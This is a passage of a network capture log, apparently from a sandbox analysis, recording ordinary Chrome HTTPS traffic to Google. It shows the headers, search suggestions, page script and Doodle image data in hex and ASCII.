2024-05-01 09:08:13 UTC	1255	IN	Data Raw: 2d 68 69 64 64 65 6e 5c 75 30 30 33 64 5c 22 74 72 75 65 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 33 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 22 7d 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 5b 22 6c Data Ascii: -hidden\u003d\"true\" role\u003d\"presentation\"\u003e\u003c\/span\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_3c\"\u003e\u003c\/div\u003e\u003c\/div\u003e"},"left_product_control_placeholder_label":["l
2024-05-01 09:08:13 UTC	1255	IN	Data Raw: 73 74 65 6e 65 72 28 5c 22 74 65 73 74 5c 22 2c 63 2c 62 29 7d 63 61 74 63 68 28 63 29 7b 7d 72 65 74 75 72 6e 20 61 7d 28 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 6d 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 2e 67 62 5f 6b 20 2e 67 62 5f 64 5c 22 29 2c 6e 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 23 67 62 2e 67 62 5f 5a 63 5c 22 29 3b 6d 64 5c 75 30 30 32 36 5c 75 30 30 32 36 21 6e 64 5c 75 30 30 32 36 5c 75 30 30 32 36 5f 2e 6b 64 28 5f 2e 56 63 2c 6d 64 2c 5c 22 63 6c 69 63 6b 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 Data Ascii: stener(\"test\",c,b)}catch(c){}return a}();\n}catch(e){_._DumpException(e)}\ntry{\nvar md\u003ddocument.querySelector(\".gb_k .gb_d\"),nd\u003ddocument.querySelector(\"#gb.gb_Zc\");md\u0026\u0026!nd\u0026\u0026_.kd(_.Vc,md,\"click\");\n}catch(e){_._DumpEx
2024-05-01 09:08:13 UTC	1255	IN	Data Raw: 77 20 79 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5c 6e 5f 2e 42 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 5f 2e 41 64 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 77 64 29 72 65 74 75 72 6e 20 61 3b 66 6f 72 28 6c 65 74 20 63 5c 75 30 30 33 64 30 3b 63 5c 75 30 30 33 63 62 2e 6c 65 6e 67 74 68 3b 2b 2b 63 29 7b 63 6f 6e 73 74 20 64 5c 75 30 30 33 64 62 5b 63 5d 3b 69 66 28 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 79 64 5c 75 30 30 32 36 5c 75 30 30 32 36 64 2e 59 67 28 61 29 29 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e Data Ascii: w yd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};\n_.Bd\u003dfunction(a,b\u003d_.Ad){if(a instanceof _.wd)return a;for(let c\u003d0;c\u003cb.length;++c){const d\u003db[c];if(d instanceof yd\u0026\u0026d.Yg(a))return new _.
2024-05-01 09:08:13 UTC	1255	IN	Data Raw: 30 33 64 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 7d 3b 5f 2e 4e 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6f 6d 65 2e 63 61 6c 6c 28 61 2c 62 2c 76 6f 69 64 20 30 29 7d 3b 74 72 79 7b 28 6e 65 77 20 73 65 6c 66 2e 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 28 30 2c 30 29 29 2e 67 65 74 43 6f 6e 74 65 78 74 28 5c 22 32 64 5c 22 29 7d 63 61 74 63 68 28 61 29 7b 7d 3b 76 61 72 20 4f 64 3b 5f 2e 50 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 76 6f 69 64 20 30 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 4f 64 5c 75 30 30 32 36 5c 75 30 30 32 36 28 4f 64 5c 75 30 30 33 64 5f 2e 4c 64 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d 6c 5c 22 Data Ascii: 03da.lastIndexOf(b,0)};_.Nd\u003dfunction(a,b){return Array.prototype.some.call(a,b,void 0)};try{(new self.OffscreenCanvas(0,0)).getContext(\"2d\")}catch(a){};var Od;_.Pd\u003dfunction(){void 0\u003d\u003d\u003dOd\u0026\u0026(Od\u003d_.Ld(\"ogb-qtm#html\"
2024-05-01 09:08:13 UTC	1255	IN	Data Raw: 5c 5d 2d 7e 5d 2a 5c 5c 5c 22 7c 5b 21 23 2d 5c 75 30 30 32 36 2a 2d 5c 5c 5c 5c 5b 5c 5c 5c 5c 5d 2d 7e 5d 2a 29 28 5b 20 5c 5c 74 5c 5c 6e 5d 2a 5c 5c 5c 5c 29 29 5c 22 2c 5c 22 67 5c 22 29 3b 5f 2e 24 64 5c 75 30 30 33 64 52 65 67 45 78 70 28 5c 22 5c 5c 5c 5c 62 28 63 61 6c 63 7c 63 75 62 69 63 2d 62 65 7a 69 65 72 7c 66 69 74 2d 63 6f 6e 74 65 6e 74 7c 68 73 6c 7c 68 73 6c 61 7c 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 7c 6d 61 74 72 69 78 7c 6d 69 6e 6d 61 78 7c 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 7c 72 65 70 65 61 74 7c 72 67 62 7c 72 67 62 61 7c 28 72 6f 74 61 74 65 7c 73 63 61 6c 65 7c 74 72 61 6e 73 6c 61 74 65 29 28 58 7c 59 7c 5a 7c 33 64 29 3f 7c 73 74 65 70 73 7c 76 61 72 29 5c 5c 5c 5c 28 5b 2d 2b 2a 2f 30 2d 39 61 2d 7a 41 2d Data Ascii: \]-~]\\\"\|[!#-\u0026-\\\\[\\\\]-~])([ \\t\\n]\\\\))\",\"g\");_.$d\u003dRegExp(\"\\\\b(calc\|cubic-bezier\|fit-content\|hsl\|hsla\|linear-gradient\|matrix\|minmax\|radial-gradient\|repeat\|rgb\|rgba\|(rotate\|scale\|translate)(X\|Y\|Z\|3d)?\|steps\|var)\\\\([-+*/0-9a-zA-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	142.251.16.147	443	8000	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 09:08:13 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 09:08:13 UTC	1703	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 09:08:13 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-ZUTeVFXGY6ssCH-4qff7pA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-01 09:08:13 UTC	1703	IN	Data Raw: 62 37 65 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 74 75 64 65 6e 74 20 6c 6f 61 6e 73 22 2c 22 66 61 6c 6c 6f 75 74 20 6e 65 78 74 20 67 65 6e 20 75 70 64 61 74 65 22 2c 22 73 6f 75 74 68 77 65 73 74 20 61 69 72 6c 69 6e 65 73 20 66 6c 69 67 68 74 73 22 2c 22 6a 6f 73 65 20 61 62 72 65 75 20 68 6f 75 73 74 6f 6e 20 61 73 74 72 6f 73 22 2c 22 77 77 65 20 6e 78 74 20 73 70 72 69 6e 67 20 62 72 65 61 6b 69 6e 22 2c 22 65 6d 6f 74 69 6f 6e 61 6c 20 73 75 70 70 6f 72 74 20 61 6c 6c 69 67 61 74 6f 72 20 77 61 6c 6c 79 22 2c 22 6e 79 74 20 63 72 6f 73 73 77 6f 72 64 20 63 6c 75 65 73 22 2c 22 64 6a 20 6d 6f 6f 72 65 20 6f 6e 20 63 61 6c 65 62 20 77 69 6c 6c 69 61 6d 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d Data Ascii: b7e)]}'["",["student loans","fallout next gen update","southwest airlines flights","jose abreu houston astros","wwe nxt spring breakin","emotional support alligator wally","nyt crossword clues","dj moore on caleb williams"],["","","","","","","",""],[]
2024-05-01 09:08:13 UTC	1246	IN	Data Raw: 46 56 55 31 6d 54 45 4a 36 4f 44 6c 45 55 57 52 33 56 69 39 68 5a 6d 4e 58 4d 6d 6f 32 4d 55 78 6a 65 58 68 35 52 30 39 68 52 30 35 77 54 7a 63 32 4e 55 70 4c 4e 55 68 7a 62 33 4a 52 61 48 68 4b 57 55 70 4c 52 45 56 79 55 30 38 77 5a 31 5a 4e 53 6e 6b 30 56 54 64 69 4b 32 52 4e 53 47 6c 74 51 32 45 76 4d 58 55 35 64 47 52 61 56 56 4e 4a 4e 6d 59 77 59 32 70 44 62 55 78 50 55 6d 6f 77 53 6e 67 32 4d 57 38 72 61 6a 68 4b 54 47 4a 68 61 6a 4d 77 65 46 4a 6f 52 7a 56 4a 51 6b 64 53 61 6b 63 7a 64 6d 35 34 4c 30 5a 53 64 48 68 79 4d 48 4e 73 57 44 52 79 65 43 39 43 64 32 52 74 55 30 74 50 53 46 68 6a 54 47 68 75 64 55 68 4d 5a 6b 46 34 4c 30 5a 69 59 6c 4e 32 4e 45 56 31 64 46 4a 48 64 6c 52 58 4f 58 52 50 65 54 4a 44 63 58 70 35 65 48 4e 42 56 6c 70 7a 53 30 Data Ascii: FVU1mTEJ6ODlEUWR3Vi9hZmNXMmo2MUxjeXh5R09hR05wTzc2NUpLNUhzb3JRaHhKWUpLREVyU08wZ1ZNSnk0VTdiK2RNSGltQ2EvMXU5dGRaVVNJNmYwY2pDbUxPUmowSng2MW8rajhKTGJhajMweFJoRzVJQkdSakczdm54L0ZSdHhyMHNsWDRyeC9Cd2RtU0tPSFhjTGhudUhMZkF4L0ZiYlN2NEV1dFJHdlRXOXRPeTJDcXp5eHNBVlpzS0
2024-05-01 09:08:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	142.251.16.147	443	8000	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 09:08:13 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 09:08:13 UTC	1479	IN	HTTP/1.1 200 OK Version: 628208705 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Date: Wed, 01 May 2024 09:08:13 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-01 09:08:13 UTC	1479	IN	Data Raw: 39 33 64 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 22 61 6c 74 5f 74 65 78 74 22 3a 22 43 65 6c 65 62 72 61 74 69 6e 67 20 4d 65 65 6e 61 20 41 6c 65 78 61 6e 64 65 72 22 2c 22 64 61 72 6b 5f 64 61 74 61 5f 75 72 69 22 3a 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 44 49 43 41 4d 41 41 41 41 70 78 2b 50 61 41 41 41 44 41 46 42 4d 56 45 56 48 63 45 77 2f 4c 43 6c 66 4d 79 37 6b 32 4e 41 31 4a 79 4d 74 48 42 68 67 53 30 74 5a 51 30 4b 4b 53 55 64 4c 4e 54 55 63 45 42 41 63 45 68 4a 4d 4d 53 30 67 44 51 36 38 72 36 67 64 45 52 46 70 55 46 4e 43 4e 7a 49 63 45 78 4c 56 78 72 2b 49 66 6e 39 74 4d 69 32 45 65 33 7a 67 31 73 33 58 79 Data Ascii: 93d)]}'{"ddljson":{"alt_text":"Celebrating Meena Alexander","dark_data_uri":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAADICAMAAAApx+PaAAADAFBMVEVHcEw/LClfMy7k2NA1JyMtHBhgS0tZQ0KKSUdLNTUcEBAcEhJMMS0gDQ68r6gdERFpUFNCNzIcExLVxr+Ifn9tMi2Ee3zg1s3Xy
2024-05-01 09:08:13 UTC	893	IN	Data Raw: 44 6d 58 38 73 74 58 50 79 72 67 56 6b 45 6f 61 34 5a 65 6f 37 2b 72 5a 57 32 6b 38 4e 79 67 78 56 6c 49 32 72 71 71 62 6f 42 61 43 79 62 43 4d 58 49 34 4a 38 66 67 46 47 4d 4b 4d 5a 31 52 68 48 4e 49 69 64 4d 51 32 33 47 49 37 66 4b 4a 67 30 2b 49 71 4b 71 70 39 4e 4a 54 7a 39 53 62 69 51 6f 49 4b 73 4a 71 6a 45 52 46 6a 63 77 4a 49 75 54 6a 46 48 2f 41 79 56 53 35 52 78 30 43 45 77 73 68 53 51 4f 6b 68 32 57 35 4f 68 43 65 37 39 66 72 44 62 62 63 37 67 6a 4c 64 52 6d 47 5a 6d 6a 30 56 69 39 2b 41 32 66 73 30 75 4b 71 78 45 42 49 44 57 68 74 44 6e 49 6b 79 50 6e 53 4d 6f 71 4d 34 77 68 2f 78 54 52 4e 54 2b 4e 30 36 63 31 58 4d 6a 48 2f 72 7a 5a 65 4c 68 65 34 68 77 6b 38 2b 70 7a 34 78 62 6d 53 50 6e 69 45 73 74 66 36 51 6d 6b 5a 76 44 5a 75 52 47 47 38 Data Ascii: DmX8stXPyrgVkEoa4Zeo7+rZW2k8NygxVlI2rqqboBaCybCMXI4J8fgFGMKMZ1RhHNIidMQ23GI7fKJg0+IqKqp9NJTz9SbiQoIKsJqjERFjcwJIuTjFH/AyVS5Rx0CEwshSQOkh2W5OhCe79frDbbc7gjLdRmGZmj0Vi9+A2fs0uKqxEBIDWhtDnIkyPnSMoqM4wh/xTRNT+N06c1XMjH/rzZeLhe4hwk8+pz4xbmSPniEstf6QmkZvDZuRGG8
2024-05-01 09:08:13 UTC	1255	IN	Data Raw: 35 35 33 61 0d 0a 36 71 30 44 4a 58 5a 42 63 5a 43 4b 54 38 2f 42 43 6a 4a 61 66 2f 4c 72 56 37 2b 66 51 6b 68 51 68 6f 45 39 65 77 39 47 6c 43 73 56 6f 54 4c 55 52 55 56 42 4a 50 61 67 31 78 74 30 42 34 4e 42 62 33 43 43 37 50 44 77 45 4b 72 50 7a 74 32 62 6e 5a 6b 69 2b 74 32 4d 73 70 49 31 68 59 59 6d 6d 53 45 55 5a 67 59 7a 36 76 56 39 7a 33 55 36 6e 5a 48 6e 6a 56 49 38 4a 69 59 7a 54 44 64 6a 6b 75 30 76 43 38 70 49 63 34 6e 4a 77 68 31 47 4f 30 79 6b 6a 6f 4e 49 42 34 56 4f 6a 53 53 45 36 6b 36 6e 56 71 74 56 4f 35 67 4a 7a 7a 6d 2f 4f 75 38 62 59 66 2b 6f 45 51 53 58 73 47 62 7a 6d 61 36 52 61 44 65 42 68 44 42 30 53 71 51 43 4b 5a 4a 77 70 43 6c 38 79 2b 4b 57 78 54 45 68 77 6d 58 63 51 68 31 44 6f 50 78 59 75 32 75 52 78 61 57 70 39 45 49 52 79 Data Ascii: 553a6q0DJXZBcZCKT8/BCjJaf/LrV7+fQkhQhoE9ew9GlCsVoTLURUVBJPag1xt0B4NBb3CC7PDwEKrPzt2bnZki+t2MspI1hYYmmSEUZgYz6vV9z3U6nZHnjVI8JiYzTDdjku0vC8pIc4nJwh1GO0ykjoNIB4VOjSSE6k6nVqtVO5gJzzm/Ou8bYf+oEQSXsGbzma6RaDeBhDB0SqQCKZJwpCl8y+KWxTEhwmXcQh1DoPxYu2uRxaWp9EIRy
2024-05-01 09:08:13 UTC	1255	IN	Data Raw: 79 54 53 58 4e 73 50 52 5a 70 4a 6b 58 37 53 42 56 37 51 6a 51 2b 78 73 54 4d 6f 55 69 78 4b 56 57 30 74 64 67 68 6c 2f 33 52 2f 74 4b 34 4f 32 42 71 6a 7a 52 63 75 7a 55 34 76 54 38 2f 32 31 78 62 54 67 50 4f 4e 48 59 32 44 67 39 45 6f 68 31 70 4e 44 30 46 52 4c 74 53 73 35 42 74 32 33 45 55 31 53 49 70 32 64 45 51 37 6f 74 45 4f 33 47 6e 73 69 46 5a 2f 66 6e 67 57 31 4d 2f 32 56 6c 63 50 56 6c 64 58 4e 7a 5a 57 4e 36 49 36 54 38 4a 5a 74 44 6b 61 73 65 4d 50 6b 75 7a 32 32 56 6b 37 62 58 5a 37 76 37 30 2f 45 70 46 46 76 79 4a 59 4c 65 76 72 67 59 62 41 65 6b 4e 41 45 46 75 48 57 36 2b 4c 69 69 49 4b 43 69 56 4d 79 57 51 73 47 62 4d 31 65 65 66 75 33 35 2b 62 6d 35 72 36 64 47 72 71 2f 6c 78 2f 39 66 6e 71 38 79 4d 74 68 2f 56 7a 57 30 76 66 72 46 77 72 Data Ascii: yTSXNsPRZpJkX7SBV7QjQ+xsTMoUixKVW0tdghl/3R/tK4O2BqjzRcuzU4vT8/21xbTgPONHY2Dg9Eoh1pND0FRLtSs5Bt23EU1SIp2dEQ7otEO3GnsiFZ/fngW1M/2VlcPVldXNzZWN6I6T8JZtDkaseMPkuz22Vk7bXZ7v70/EpFFvyJYLevrgYbAekNAEFuHW6+LiiIKCiVMyWQsGbM1eefu35+bm5r6dGrq/lx/9fnq8yMth/VzW0vfrFwr
2024-05-01 09:08:13 UTC	1255	IN	Data Raw: 51 56 54 4f 32 6a 4f 7a 76 65 63 34 39 45 45 59 48 57 6a 48 2b 6c 5a 52 4f 70 6c 51 6a 7a 6d 42 33 52 37 2f 4d 32 4d 64 58 39 58 74 45 73 67 37 39 63 79 36 30 42 64 4c 57 6c 31 44 44 73 71 6e 79 54 46 4a 4d 79 7a 6a 53 75 66 54 61 51 66 4a 46 56 5a 6c 6d 31 66 47 75 51 76 6a 72 52 58 39 77 70 4a 2f 32 4e 59 46 6c 7a 78 38 30 72 6e 7a 38 67 6a 36 4c 7a 2f 34 47 5a 61 33 33 67 4c 39 46 77 53 6b 47 4d 72 4a 32 34 34 68 4d 42 34 69 36 46 59 4f 48 77 65 59 42 34 2f 45 78 2b 72 67 64 36 79 5a 64 31 45 55 68 2b 31 53 50 67 2b 78 69 78 41 4e 44 4a 79 36 68 66 63 78 6c 6a 4f 61 38 62 4e 6f 76 69 62 4c 61 5a 65 56 51 57 39 71 75 74 72 6b 77 75 31 6e 4c 4c 70 33 37 74 79 75 4a 75 42 30 31 45 78 39 65 70 38 67 77 2b 69 45 4f 56 36 45 7a 75 6a 44 38 56 54 70 47 71 43 Data Ascii: QVTO2jOzvec49EEYHWjH+lZROplQjzmB3R7/M2MdX9XtEsg79cy60BdLWl1DDsqnyTFJMyzjSufTaQfJFVZlm1fGuQvjrRX9wpJ/2NYFlzx80rnz8gj6Lz/4GZa33gL9FwSkGMrJ244hMB4i6FYOHweYB4/Ex+rgd6yZd1EUh+1SPg+xixANDJy6hfcxljOa8bNovibLaZeVQW9qutrkwu1nLLp37tyuJuB01Ex9ep8gw+iEOV6EzujD8VTpGqC
2024-05-01 09:08:13 UTC	1255	IN	Data Raw: 2b 74 78 66 51 43 2f 6d 72 44 48 70 6e 56 31 76 4a 36 5a 69 2f 77 69 36 31 55 31 4e 46 36 49 42 5a 68 4c 37 36 2f 41 43 30 47 58 57 63 77 66 53 4d 4d 6b 58 79 4f 46 4d 75 74 5a 2b 61 58 4b 5a 35 55 50 2b 79 33 68 67 79 47 55 34 2f 79 50 59 59 54 34 51 47 51 36 64 50 6d 4f 44 71 43 6e 41 75 4b 7a 76 42 56 46 61 47 70 71 48 43 68 4a 35 67 4d 6c 51 59 6a 63 5a 42 79 74 46 67 34 62 39 49 6e 6f 6d 4d 70 4c 46 67 44 72 6f 45 6d 2b 47 6d 75 33 58 53 63 4d 50 47 41 6f 57 44 49 6e 53 4e 64 6b 37 66 53 64 44 4a 36 71 63 6f 6b 64 4d 30 6b 4e 58 74 47 4d 68 31 38 72 76 7a 34 49 42 53 4e 30 41 76 69 5a 44 6a 75 6e 52 2f 58 51 69 72 57 4d 42 4f 4b 6f 49 59 43 4d 4c 4b 59 54 6e 73 62 5a 4a 6c 76 7a 38 63 56 6d 4e 67 37 68 4e 46 31 53 73 4b 49 6b 79 75 2b 6f 52 68 55 56 Data Ascii: +txfQC/mrDHpnV1vJ6Zi/wi61U1NF6IBZhL76/AC0GXWcwfSMMkXyOFMutZ+aXKZ5UP+y3hgyGU4/yPYYT4QGQ6dPmODqCnAuKzvBVFaGpqHChJ5gMlQYjcZBytFg4b9InomMpLFgDroEm+Gmu3XScMPGAoWDInSNdk7fSdDJ6qcokdM0kNXtGMh18rvz4IBSN0AviZDjunR/XQirWMBOKoIYCMLKYTnsbZJlvz8cVmNg7hNF1SsKIkyu+oRhUV
2024-05-01 09:08:13 UTC	1255	IN	Data Raw: 39 35 41 42 31 70 76 63 53 63 72 6e 48 65 58 42 4b 61 79 39 46 32 35 76 54 4b 2f 36 67 75 51 76 2b 66 4f 4c 41 36 75 5a 6a 66 71 57 44 53 4e 4e 62 45 38 61 65 70 64 55 45 55 52 66 41 57 59 32 46 42 68 4a 2b 62 62 42 6a 56 62 62 5a 77 32 4b 2f 4b 74 43 43 48 6d 36 71 71 68 6f 63 56 76 38 71 57 36 4a 52 68 56 57 6e 36 61 4f 33 78 62 78 2f 58 50 46 77 62 4c 38 7a 76 55 48 6a 2f 7a 32 74 2f 49 4f 68 2f 65 37 7a 54 66 31 57 43 37 71 59 34 79 35 41 7a 36 48 41 36 75 7a 72 2f 79 6f 63 46 6f 41 44 54 75 6f 38 61 44 59 4b 56 43 41 45 32 48 61 79 4e 41 7a 58 4b 49 76 51 67 55 42 63 46 2f 42 54 71 45 54 47 41 6d 34 5a 30 78 77 75 48 69 31 72 6f 4a 6f 42 4f 53 75 49 77 4a 37 48 5a 41 4e 32 61 6e 33 63 34 67 6f 36 6e 63 33 4f 4a 78 48 62 6e 79 39 73 74 5a 2f 44 43 68 Data Ascii: 95AB1pvcScrnHeXBKay9F25vTK/6guQv+fOLA6uZjfqWDSNNbE8aepdUEURfAWY2FBhJ+bbBjVbbZw2K/KtCCHm6qqhocVv8qW6JRhVWn6aO3xbx/XPFwbL8zvUHj/z2t/IOh/e7zTf1WC7qY4y5Az6HA6uzr/yocFoADTuo8aDYKVCAE2HayNAzXKIvQgUBcF/BTqETGAm4Z0xwuHi1roJoBOSuIwJ7HZAN2an3c4go6nc3OJxHbny9stZ/DCh
